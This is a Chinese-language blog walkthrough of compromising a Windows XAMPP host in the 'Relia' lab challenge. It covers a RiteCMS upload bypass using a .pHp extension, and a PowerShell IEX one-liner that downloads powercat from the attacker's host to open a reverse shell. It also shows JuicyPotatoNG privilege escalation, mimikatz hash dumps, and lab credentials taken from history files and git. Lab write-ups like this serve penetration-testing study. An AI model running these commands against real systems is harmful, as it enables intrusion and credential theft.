Challenge 2 - Relia(5)
Challenge 2 - Relia(5)
下一個目標是第五台，選定的機器是對外的 192.168.xxx.249
Rustscan，└─$ rustscan -a 192.168.188.249 --scripts none --ulimit 5000 | tee rustscan
snmp 沒有開，└─$ sudo nmap -sU -p 161 192.168.188.249 | tee snmp
nmap，└─$ sudo nmap -sCV -A -p 80,135,139,445,3389,5985,8000,47001,49664,49665,49666,49667,49668,49669 192.168.188.249 | tee nmap
80/tcp open http Microsoft IIS httpd 10.0
3389/tcp open ms-wbt-server Microsoft Terminal Services
| NetBIOS_Domain_Name: LEGACY --> 這台伺服器名稱是 LEGACY
| http-title: Welcome to XAMPP --> 熟悉的 XAMPP
enum4linux，└─$ enum4linux -a 192.168.188.249 | tee enum4linux
80 /
80 /robots.txt
80 gobuster
8000 /
8000 /phpmyadmin
8000 /phpinfo.php 發現使用者帳號 adrian
8000 gobuster
8000 /cms/
gobuster 8000 /cms
8000 /cms/admin.php
admin:admin 登入成功，RiteCMS v3
searchsploit RiteCMS
版本是 v3 又要 RCE 直接看 50616，https://www.exploit-db.com/exploits/50616
看來可以上傳檔案，改一下 *.php 為 *.pHp 即可
還有步驟給你參考
依據步驟上傳 php-reverse-shell.pHP 到 files 目錄
執行 http://192.168.188.249:8000/cms/files/php-reverse-shell.pHP
Reverse Shell 有進來但是馬上斷掉
原因應該是使用的 PHP 檔案主要提供給 Linux 用，這一台是 Windows 主機
改上傳最好用的 webshell.pHp 並執行 whoami 看來是成功的
執行 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.236/tools/powercat.ps1'); powercat -c 192.168.45.236 -p 4444 -e powershell"
這一次成功拿到 Reverse Shell，whoami 使用者是 adrian，直接拿 local.txt
開始 PE，whoami /priv 發現爛梗 SeImpersonatePrivilege Enabled
標準作業上傳 nc64.exe、JuicyPotatoNG.exe 提權
4445 進來了，whoami 確認是管理者，查找 proof.txt 一樣不在 administrator 目錄
而是在使用者 damon 的桌面，看來後續一樣要枚舉
先更新攻擊順序表，順利拿下第五台機器
執行 mimikatz.exe 拿 HASH，administrator:387aef0561b65e4f3cae0960b0fba2d5
adrian:e3cea06e2de8d54d43b84d4b5bffb5b0
damon:820d6348890893116880101307197052
更新帳號密碼表
枚舉發現 Powershell History 有一組帳號密碼，damon 是 administrators 群組成員
damon:i6yuT6tym@
impacket-psexec 測試有效，└─$ impacket-psexec damon:'i6yuT6tym@'@192.168.188.249
後續枚舉在 damon 目錄發現 .gitconfig 設定
Git 設定在 c:\staging
切換到 c:\staging 然後 dir 查看沒有東西，使用 dir /a 列舉隱藏檔果然發現 .git 目錄
Git 標準第一步驟 git status 發現沒有權限
執行 git config --global --add safe.directory C:/staging 給予權限再跑一次就可以正常執行了
Git 標準第二步驟 git log，又發現一個使用者帳號 damian
Git 標準幣三步驟 git show
-Email configuration of the CMS
-maildmz@relia.com:DPuBT9tGCBrTbR
發現一組帳號密碼 maildmz@relia.com:DPuBT9tGCBrTbR
另外這兩句話是一個重點
-If something breaks contact jim@relia.com as he is responsible for the mail server.
-Please don't send any office or executable attachments as they get filtered out for security reasons.
先更新一下帳號密碼表再來整理一下目前相關的資訊
- Powershell 歷史獲得 LEGACY\damon 的密碼 "i6yuT6tym@" 且測試有效
- git log 多獲得一組帳號 damian
- git show 發現一組 CMS 設定的 SMTP 帳號密碼 maildmz@relia.com:DPuBT9tGCBrTbR
- Relia 公司的郵件負責人郵件地址 jim@relia.com
截至目前為止總共打下外網 192.168.xxx.0/24 的機器共 5 台
其中 2 台 Linux、3 台 Windows 且都沒有加入網域，每一台都只有一張網卡
沒有找到任何契機可以進到 Relia 公司內網
雖然對外還有兩台 .189 & .191 ，這兩台沒有在攻擊前面的順序是因為已經打過
發現打不下來所以才沒有列在攻擊順序前面的清單中，但確實已經花了不少時間測試
在 .189 的測試中有發現 25 Port SMTP 郵件服務，但沒有任何 Exploit
直到打到 .249 這一台後發現上述的那一段話可以寄信給 jim@relia.com 給了新的契機
再加上拿到 maildmz@relia.com:DPuBT9tGCBrTbR 且後續使用 crackmapexec 對 .189 驗證如下
看來 maildmz@relia.com 是我們拿到的第一個 Relia 網域有效憑證
所以後續會將重點放回到郵件社交攻擊，這一篇先到此結束
留言
張貼留言